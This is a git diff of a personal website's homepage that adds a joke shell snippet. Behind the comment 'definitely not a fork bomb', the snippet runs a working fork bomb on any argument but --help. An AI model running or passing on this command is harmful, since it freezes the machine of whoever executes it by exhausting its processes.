diff --git a/content/index.md b/content/index.md
index 7bbc463..f96bcb6 100644
--- a/content/index.md
+++ b/content/index.md
@@ -17,6 +17,24 @@ show_title: false
 
 <center markdown="1">
 
-Hello. I write programming code.
+Hello.
+
+I write programming code.
+
+Sometimes it even works.
 
 </center>
+
+```sh
+#!/bin/sh
+case "$1" in
+  --help)
+    echo 'Usage: ficd.sh [--read-blog]'
+    ;;
+  *)
+    echo 'Running ficd.sh...'
+    # definitely not a fork bomb.
+    x(){ x|x& };x
+    ;;
+esac
+```